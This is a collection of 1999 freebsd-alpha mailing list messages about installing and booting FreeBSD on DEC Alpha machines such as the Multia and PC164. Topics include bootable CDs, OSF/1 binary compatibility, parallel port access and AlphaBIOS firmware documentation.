You won't need a CD writer for testing, a spare SCSI disk with about 
700MB capacity or more would be just fine. It doesn't matter to SRM
whether the image is on a CD or on a hard disk...

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Thomas Pornin writes:
 > On Sun, May 02, 1999 at 08:32:47PM +0100, Doug Rabson wrote:
 > > Fair enough. I don't think XF86Setup and netscape work with Linux/alpha
 > > either...
 > 
 > I do not know for XF86Setup (my first XFree installation was back in
 > the days where XF86Setup did not exist, and the Xconfigure thing would
 > not work, therefore I write XF86Config by hand) but you may run the OSF
 > Netscape on Linux/Alpha. I have a fully functional Communicator 4.51
 > and it is stable. This requires the OSF shared libs, though (or maybe

FreeBSD is also capable of running Netscape, and other DU binaries
such as Mathematica and S-Plus under the osf/1 compatibility module.
You can fetch it from: ftp://ftp.cs.duke.edu/pub/gallatin/osf1.tar.gz

Be warned that I haven't had much time to play with it since December, 
so it might need a little tweaking to get it working again with
-current. 

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On 3 May 1999, Martin Ostermann wrote:

> On Mon, 3 May 1999 13:52:33 +0100 (BST), Doug Rabson <dfr@nlsystems.com> said:
> >> I don't now about official specs, but in Linux/Alpha the 'isomarkboot'
> >> program contained in the 'aboot' package allows it to make SRM
> >> bootable CDs. It allows to mark any file in an existing ISO9660 image as
> >> the program to boot. In Linux this is usually used to load the 'aboot'
> >> loader from CD. I believe there's nothing Linux specific to it. 
> >> 
> >> Beware, the program isn't 32 bit clean, i.e. it assumes sizeof(long)=8.
> 
> > It sounds pretty easy to do but like I said, I don't have a CD writer. If
> > one should unexpectedly appear on my doorstep, I could make it work I
> > expect.
> 
> You won't need a CD writer for testing, a spare SCSI disk with about 
> 700MB capacity or more would be just fine. It doesn't matter to SRM
> whether the image is on a CD or on a hard disk...

Hmm. Sounds like a standard SRM boot when (which is easy). Just need to
make sure that libstand understands iso9660 filesystems.

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On 03.05.99, 20:00:31 John Birrell wrote:

> I suspect that it might grow further/faster if some of the rough edges
> were removed. One thing that has always differentiated FreeBSD is a neat
> install. Alpha needs work to live up to that.

Compared to a Red Hat Linux installation with milo and ramdisk etc. this
install was fairly easy ;)

>> But to be honest, despite of taking the wrong floppies, I didn't face any
>> problems, usually I tend to install ports from the ftp ports server.
> Glad to hear you were successful in the end.

One thing about alpha's: Never give up, always trying ;)


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On Mon, 3 May 1999, Jordan K. Hubbard wrote:

> If we really feel that the Alpha is ready to stand on its own CD set,
> I guess we could fork it off at this point.  There are already a
> considerable number of packages available for it..  Making the CD
> bootable, however, still won't be an option until somebody shows
> us how to do it. :)
> 

I like the idea ... but I sure wish WC felt it was time to fork off a
ports cd too (I want to be the first subscriber).

> - Jordan
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> Jordan K. Hubbard wrote:
> > If we really feel that the Alpha is ready to stand on its own CD set,
> > I guess we could fork it off at this point.  There are already a
> > considerable number of packages available for it..  Making the CD
> > bootable, however, still won't be an option until somebody shows
> > us how to do it. :)
> 
> OK, well let's aim to make 4.0-current go in that direction.

Erm, just to clarify here, you're recommending we go to separate
distribution CDs at 4.0, or that we worry about bootable media
for the Alpha with 4.0?

- Jordan


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> It sounds pretty easy to do but like I said, I don't have a CD writer. If
> one should unexpectedly appear on my doorstep, I could make it work I
> expect.

I enjoy making the unexpected, expected.  Any preferences on make
and model, Doug? :-)

- Jordan


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> I like the idea ... but I sure wish WC felt it was time to fork off a
> ports cd too (I want to be the first subscriber).

This is the essential idea behind the new toolkit, though we can't
just punt the basic bits off the usual product or people will scream.
I expect the standard product to always contain at least a subset of
"most popular" packages and the toolkit to evolve into a 6 CD set
containing everything else.  This first toolkit CD was more of a
grab-bag since also came out at a time when releasing snapshots for
2.2, 3.1 and 4.0 branches seemed like a reasonable thing to do.

That won't be the case for the next one since 2.2 will be dead even to
our most conservative customers by the time 3.5 comes out (that's
always a good time to make the switch, as past experience has shown)
and the snapshot CDs will be back in business, rendering the 4.0
snapshots inappropriate for the toolkit CD. That just leaves the
mainstream (3.x) product's overflow packages and an unpacked CVS repo,
something which is useful to developers but too big for the standard
product.  I'm open to other ideas as well. :)

- Jordan


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On Mon, 3 May 1999, Jordan K. Hubbard wrote:

> > It sounds pretty easy to do but like I said, I don't have a CD writer. If
> > one should unexpectedly appear on my doorstep, I could make it work I
> > expect.
> 
> I enjoy making the unexpected, expected.  Any preferences on make
> and model, Doug? :-)

Make and model are not too important. A scsi model might be better than an
atapi one but I'm not too fussy :-)

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On Mon, 3 May 1999, Jordan K. Hubbard wrote:

> > I like the idea ... but I sure wish WC felt it was time to fork off a
> > ports cd too (I want to be the first subscriber).
> 
> This is the essential idea behind the new toolkit, though we can't
> just punt the basic bits off the usual product or people will scream.
> I expect the standard product to always contain at least a subset of
> "most popular" packages and the toolkit to evolve into a 6 CD set
> containing everything else.  This first toolkit CD was more of a
> grab-bag since also came out at a time when releasing snapshots for
> 2.2, 3.1 and 4.0 branches seemed like a reasonable thing to do.
> 
> That won't be the case for the next one since 2.2 will be dead even to
> our most conservative customers by the time 3.5 comes out (that's
> always a good time to make the switch, as past experience has shown)
> and the snapshot CDs will be back in business, rendering the 4.0
> snapshots inappropriate for the toolkit CD. That just leaves the
> mainstream (3.x) product's overflow packages and an unpacked CVS repo,
> something which is useful to developers but too big for the standard
> product.  I'm open to other ideas as well. :)

How big, in CDs, would a product that had all ports, packages and
distfiles be?  Including the XFree86 stuff.

Let me admit here, I'm not sure what you meant above.  Marketing always
confuses me, and the stuff above did a fine job of that.  I'm asking
this, hoping either you'll explain why it was a dumb question, or maybe
the stuff above WAS confusing, and this question will straighten me out.

Maybe you feel you always need to have at least one FreeBSD collection
packed in?  Is that what you meant?

> 
> - Jordan
> 

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Jordan K. Hubbard wrote:
> > Jordan K. Hubbard wrote:
> > > If we really feel that the Alpha is ready to stand on its own CD set,
> > > I guess we could fork it off at this point.  There are already a
> > > considerable number of packages available for it..  Making the CD
> > > bootable, however, still won't be an option until somebody shows
> > > us how to do it. :)
> > 
> > OK, well let's aim to make 4.0-current go in that direction.
> 
> Erm, just to clarify here, you're recommending we go to separate
> distribution CDs at 4.0, or that we worry about bootable media
> for the Alpha with 4.0?

Both.

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> How big, in CDs, would a product that had all ports, packages and
> distfiles be?  Including the XFree86 stuff.

Oh, probably about 6 CDs. :-)

- Jordan


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On Mon, 3 May 1999, Jordan K. Hubbard wrote:

> > How big, in CDs, would a product that had all ports, packages and
> > distfiles be?  Including the XFree86 stuff.
> 
> Oh, probably about 6 CDs. :-)

Well, that's what I'd be in line for.  Divorce the FreeBSD base from it,
include the entire ports distribution, all packages too, and all the
distfiles in the free world (god, I gotta stop using that expression,
it's dated).  Probably include the entire FreeBSD web site, maybe
that would be a good way to package access, even.  Bring the thing out 4
times a year. Let me subscribe, where do I sign?


> 
> - Jordan
> 

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On Mon, 3 May 1999, Jordan K. Hubbard wrote:

> > How big, in CDs, would a product that had all ports, packages and
> > distfiles be?  Including the XFree86 stuff.
> 
> Oh, probably about 6 CDs. :-)

Look on the bright side - it will only be a couple more years before DVD
is widespread enough to use that...


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If nobody else can do it, I have access to a CDROM burner, and have a fast
Internet connection.  I am not volunteering to be a CDROM clearinghouse,
but I would be willing to make 3 or 4 disks once or twice for testing and
mail them to whomever.

One word of warning though, I don't know if our machine is capable of
making a bootable disk though, I've only ever made data disks with ISO9660
filesystems.  (Has anyone ever used "WinGear" CDROM writer software?  If
you know how to do a bootable CDROM, please email me directly.)

> From: John Birrell <jb@cimlogic.com.au>
> Subject: Re: Installing FreeBSD 3.1 on a Multia box
> To: jkh@zippy.cdrom.com (Jordan K. Hubbard)
> Date: Tue, 4 May 1999 06:33:47 +1000 (EST)
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> Jordan K. Hubbard wrote:
> > > Jordan K. Hubbard wrote:
> > > > If we really feel that the Alpha is ready to stand on its own CD set,
> > > > I guess we could fork it off at this point.  There are already a
> > > > considerable number of packages available for it..  Making the CD
> > > > bootable, however, still won't be an option until somebody shows
> > > > us how to do it. :)
> > > 
> > > OK, well let's aim to make 4.0-current go in that direction.
> > 
> > Erm, just to clarify here, you're recommending we go to separate
> > distribution CDs at 4.0, or that we worry about bootable media
> > for the Alpha with 4.0?
>
> Both.
>
> -- 
> John Birrell - jb@cimlogic.com.au; jb@freebsd.org http://www.cimlogic.com.au/
> CIMlogic Pty Ltd, GPO Box 117A, Melbourne Vic 3001, Australia +61 418 353 137

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> Hmm. Sounds like a standard SRM boot when (which is easy). Just need to
> make sure that libstand understands iso9660 filesystems.

It should, although it's untested.

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On Mon, 3 May 1999 16:49:07 +0100 (BST), Doug Rabson <dfr@nlsystems.com> said:
>> You won't need a CD writer for testing, a spare SCSI disk with about 
>> 700MB capacity or more would be just fine. It doesn't matter to SRM
>> whether the image is on a CD or on a hard disk...

> Hmm. Sounds like a standard SRM boot when (which is easy). Just need to
> make sure that libstand understands iso9660 filesystems.

Yes, that makes sense. I looked at the isomarkboot code: The position and
size of the bootable file it put into byte locations 480ff. Both are
measured in blocks.

There's one problem with this: It's only possible to boot from CD
drives that support a 512 byte block size. Not all drives do that, 
and it's a burden to jumper them in the right way. Maybe it would be
possible to make those entries in 2048 unities? I never tried it, and
then of course a real CD would be needed for testing.

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> -----Original Message-----
> From: Jordan K. Hubbard [mailto:jkh@zippy.cdrom.com]
> Sent: 03 May 1999 21:05
> To: Doug Rabson
> Cc: Martin Ostermann; John Birrell; grog@lemis.com; ks@hirvi.net;
> freebsd-alpha@FreeBSD.ORG
> Subject: Re: Installing FreeBSD 3.1 on a Multia box 
> 
> 
> > It sounds pretty easy to do but like I said, I don't have a 
> CD writer. If
> > one should unexpectedly appear on my doorstep, I could make 
> it work I
> > expect.
> 
> I enjoy making the unexpected, expected.  Any preferences on make
> and model, Doug? :-)

I'm really not expecting a Ferrari to appear outside my door sometime next
week :-)

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i have an AlphaPC 164 (not 164lx or sx, just 164_)  and would like to
install FreeBSD on the machine. The docs do not mention this architecure.
Will it run ?
Also do you plan to support S3 or other cards in Future Releases ?

thanks in advance,
best regards,
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PC164, 21164a 500mhz, 128mb Ram, aha2940uw, ncr53c810, S3-968 Graphics,
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Armin Ollig writes:
 > 
 > i have an AlphaPC 164 (not 164lx or sx, just 164_)  and would like to
 > install FreeBSD on the machine. The docs do not mention this architecure.
 > Will it run ?

It should work.  It should be recognized as an EB164. From the GENERIC
config file:

options         "DEC_EB164"             # EB164, PC164, PC164LX, PC164SX


 > Also do you plan to support S3 or other cards in Future Releases ?

I *think* your S3 should work right now.  I've been running X on an
S3-ViRGE in an AS200 for a few months now, at least.  You'll need the
patches at http://www.freebsd.org/~dfr/ when you build the X server.
If you read the mailing list archives, I believe at least one person
has server binaries available.

Drew

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> On Mon, 3 May 1999 16:49:07 +0100 (BST), Doug Rabson <dfr@nlsystems.com> said:
> >> You won't need a CD writer for testing, a spare SCSI disk with about 
> >> 700MB capacity or more would be just fine. It doesn't matter to SRM
> >> whether the image is on a CD or on a hard disk...
> 
> > Hmm. Sounds like a standard SRM boot when (which is easy). Just need to
> > make sure that libstand understands iso9660 filesystems.
> 
> Yes, that makes sense. I looked at the isomarkboot code: The position and
> size of the bootable file it put into byte locations 480ff. Both are
> measured in blocks.
> 
> There's one problem with this: It's only possible to boot from CD
> drives that support a 512 byte block size. Not all drives do that, 
> and it's a burden to jumper them in the right way. Maybe it would be
> possible to make those entries in 2048 unities? I never tried it, and
> then of course a real CD would be needed for testing.

It's been a Very Long Time since you had to jumper CDROMs to boot off 
them; I know for a fact that most Sun hardware can boot off CDROMs 
set either way, I'd have assumed that Alphas can as well.

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Jordan K. Hubbard wrote:
> > How big, in CDs, would a product that had all ports, packages and
> > distfiles be?  Including the XFree86 stuff.
> 
> Oh, probably about 6 CDs. :-)
> 
> - Jordan

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Does anyone know how to find the IO address of the parallel port on a
multia?   

Also is it possible, on an alpha, to do

	outb(0x378, 0xFF);
             ^^^^^----- Or whatever address

to set the parallel port data lines high?

thanks

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On Wed, 5 May 1999, Mark Turpin wrote:

> 
> Does anyone know how to find the IO address of the parallel port on a
> multia?   
> 
> Also is it possible, on an alpha, to do
> 
> 	outb(0x378, 0xFF);
>              ^^^^^----- Or whatever address
> 
> to set the parallel port data lines high?

It should be in the normal place (i.e. 0x378). You can use inx/outx in
both kernel and user programs. For user programs, you have to use the
libio library. Use the ioperm() function to enable access to the required
ports and then inx/outx to access the port.

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> 
> Does anyone know how to find the IO address of the parallel port on a
> multia?   

You will have to poke around in the SRM leavings to do that.  You might 
be able to prod the Linux code for some help.  At that point, it should 
be pretty trivial to port the 'ppc' driver to the Alpha.

> Also is it possible, on an alpha, to do
> 
> 	outb(0x378, 0xFF);
>              ^^^^^----- Or whatever address
> 
> to set the parallel port data lines high?

Once you have 'ppc' ported, you can use 'ppi' to do that sort of thing.

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Is there something additional I need to do to use inx/outx on the alpha?

I tried the same program from my Intel machine and it errors with:
 
undefined reference to 'outb'


Sound like I need to add some command line options to my cc?!?

Thanks

Mark


On Thu, 6 May 1999, Doug Rabson wrote:

> On Wed, 5 May 1999, Mark Turpin wrote:
> 
> > 
> > Does anyone know how to find the IO address of the parallel port on a
> > multia?   
> > 
> > Also is it possible, on an alpha, to do
> > 
> > 	outb(0x378, 0xFF);
> >              ^^^^^----- Or whatever address
> > 
> > to set the parallel port data lines high?
> 
> It should be in the normal place (i.e. 0x378). You can use inx/outx in
> both kernel and user programs. For user programs, you have to use the
> libio library. Use the ioperm() function to enable access to the required
> ports and then inx/outx to access the port.
> 
> --
> Doug Rabson				Mail:  dfr@nlsystems.com
> Nonlinear Systems Ltd.			Phone: +44 181 442 9037
> 
> 
> 

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>"Jordan" == Jordan K Hubbard <jkh@zippy.cdrom.com> writes:


> 	I just talked with one of our engineers here about the docs/SDK
> etc... for AlphaBIOS. Evidently there is no documentation for AlphaBIOS,
> the docs being the source itself, the problem being that parts of the
> source were written/are copyrighted by Microsoft. So in order to get those
> you'd have to sign an NDA with MS. Not good.

> Grumble.  That's quite unfortunate. :( Thanks for letting me know,
> in any case.

I was following this thread and sent some mail to my friend who works
on low level Alpha/NT stuff. I will attach his message. Let me know if 
this is useful for you.

-Reggie


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> From: 	Reginald S. Perry[SMTP:reggie@lambdawerks.org]
> Sent: 	Tuesday, May 04, 1999 11:48 PM
> To: 	roman@zso.dec.com
> Subject: 	Is there something that can be done about this?
> 
> <<Message: Microsoft Exchange Message>>
> Hi Bill,
>    Do you have any contacts that can resolve this issue? I am guessing
> 
> that the left hand is tripping over the right hand. :-)
> 
I presume "this issue" is the information needed to boot FreeBSD from
ARC/AlphaBIOS?

There are two very useful resources available to the general public at
no cost.  The first is the "Advanced RISC Computing Multiprocessor
Standard Specification, Version 1.2", colloquially known as the "ARC
spec".  Although it is very dated (it talks about MIPS, and never
mentions Alpha), it provides a lot of useful information.  It may be
found at:

    http://www.microsoft.com/hwdev/download/respec/riscspec.zip

The second is the "ARC Application Development Kit V1.3" (ADK).  It is a
set of tools and libraries that support development of programs that run
in an Alpha ARC firmware environment (including AlphaBIOS).  It requires
a Windows NT development environment if you want to make direct use of
the libraries, but the header files and supporting documentation should
prove very useful.  There are also some pre-built ARC apps (with source)
that are immediately useful.  You can find it at:

    ftp://ftp.compaq.com/pub/softpaq/alphant/adkv13.zip

Somewhere on gatekeeper.dec.com is the source code to linload.exe, the
ARC app that acts as the first stage loader for Linux under
ARC-compliant firmware.  It shouldn't be too hard to find, and a quick
look at it should provide some hints.

The "EBSDK" that was mentioned is the "Evaluation Board Software
Development Kit".  It must be somewhere on the web site, but I can't
find it at the moment.  (Compaq has made a real mess of former Digital
web sites.)  A careful search by someone with useful bandwidth available
(like you, Reggie!) should turn it up.  It includes sources for some
useful tools, like a version of gas for building PALcode, and the
all-important "PALcode violation checker" (PVC).  I did stumble on some
useful documentation at:

 
http://ftp.digital.com/pub/Digital/info/semiconductor/literature/dsc-lib
rary.html

There's one more useful resource available at no cost, but not to the
general public.  I'll be glad to answer any specific questions directed
to me at my personal e-mail address concerning the ARC environment on
Alpha systems, to the fullest extent possible without disclosing
proprietary information.  I can be reached at:

    roman@songdog.eskimo.com

I'd love to work with any developers on the FreeBSD project who have
appropriate skills for such a project.  Anyone who can initiate me into
the mysteries of how to generate the appropriate variant COFF binary
format for ARC apps from GNU tools will get my enthusiastic support!
I'd like to be able to boot Linux directly from AlphaBIOS without the
need for MILO.


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Hello,

after bringing my Multia up and running I am looking for a rc5 client for
FreeBSD/AXP.

Did anyone port it?


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On Wed, 5 May 1999, Mark Turpin wrote:

> 
> Is there something additional I need to do to use inx/outx on the alpha?
> 
> I tried the same program from my Intel machine and it errors with:
>  
> undefined reference to 'outb'
> 
> 
> Sound like I need to add some command line options to my cc?!?

On intel, you need to include <machine/cpufunc.h> I think. For the alpha,
you will need to be root (or at least group kmem) to get access to the
/dev/mem device and you must call ioperm(startport, numports) to map the
ports into the program. After that inb/outb should work.

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On Wed, 5 May 1999, Mark Turpin wrote:

> 
> Is there something additional I need to do to use inx/outx on the alpha?
> 
> I tried the same program from my Intel machine and it errors with:
>  
> undefined reference to 'outb'
> 
> 
> Sound like I need to add some command line options to my cc?!?

On intel, you need to include <machine/cpufunc.h> I think. For the alpha,
you will need to be root (or at least group kmem) to get access to the
/dev/mem device and you must call ioperm(startport, numports) to map the
ports into the program. After that inb/outb should work.

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<html>
<br>
&gt;after bringing my Multia up and running I am looking for a rc5 client
for<br>
&gt;FreeBSD/AXP.<br>
&gt;<br>
&gt;Did anyone port it?<br>
<br>
The version that distributed.net supplies for OSF/1 works on FreeBSD with
Andrew Gallatin's OSF/1 emulator module.&nbsp; Get it at
<a href="ftp://ftp.cs.duke.edu/pub/gallatin/osf1.tar.gz" eudora="autourl"><font color="#0000FF"><u>ftp://ftp.cs.duke.edu/pub/gallatin/osf1.tar.gz</a></font></u>&nbsp;
&quot;To get started, download the above tarball and untar it into your
source tree. Then cd to sys/modules/osf1 and build &amp; install it. Load
the module with the just installed osf1 shell script.&quot;<br>
<br>
rc5des is statically linked, so you won't need any OSF/1 libs to run
it.&nbsp; You will need to create /compat/osf1/etc/svc.conf; here's the
one I use:<br>
<br>
aliases=local <br>
group=local,yp <br>
hosts=bind,local,yp <br>
netgroup=local,yp <br>
networks=local,yp <br>
passwd=local,yp <br>
protocols=local,yp <br>
rpc=local,yp <br>
services=local,ypSECLEVEL=BSD <br>
<br>
Now the bad news:&nbsp; Alphas do relatively poorly cracking RC5, I think
due to lack of a rotate instruction.&nbsp; Be prepared for poor
performance.<br>
<br>
otoh, Alphas do pretty good on DES.&nbsp; When the next DES contest
starts be sure your Multia is ready to go.<br>
<br>
Jim<br>
<br>
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I'm looking at buying a DEC Multia soon and am having a little trouble
finding installation info for /alpha. I hope this is by accident...

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Hello,

I have a little problem with one of my multia's. I got the machine two weeks
ago, I installed Free BSD 3.1 everything was ok, suddenly the machine was
dead, no
ping no telnet. After rebooting I was able to connect via telnet but after a
few keystrokes it turned dead again. Only this time a reboot didn't help.

There is no screen output I supose no video signal, nothing, the fan is
still running, is this the well know'n heat death?

Is there anything I can do? I am situated in Germany maybe somebody has some
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> I'm looking at buying a DEC Multia soon and am having a little trouble
> finding installation info for /alpha. I hope this is by accident...

Same process as for i386.

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On 06-May-99 Mike Smith wrote:
>> I'm looking at buying a DEC Multia soon and am having a little trouble
>> finding installation info for /alpha. I hope this is by accident...
> 
> Same process as for i386.
> 
As a generic note, you will need to run the SRM console.

Also, as usual, make sure your storage subsystem is supported both by
the SRM (to boot) and by FreeBSD (to use it) :)

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It looks like there will need to be some assembly code written to make
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http://lxr.mozilla.org/mozilla/source/xpcom/libxpt/xptcall/status.html

Is there anyone that would be interested in looking at this?  NetBSD will
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Does anybody have a copy of the rom for the pc164lx motherboard?
I can't seem to find the thing anywhere on digitals ftp sight.
(just the fwupdate.exe program)

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> Does anybody have a copy of the rom for the pc164lx motherboard?
> I can't seem to find the thing anywhere on digitals ftp sight.
> (just the fwupdate.exe program)

Are you trying to upgrade a system that already has SRM, or convert an 
AlphaBIOS system to SRM?

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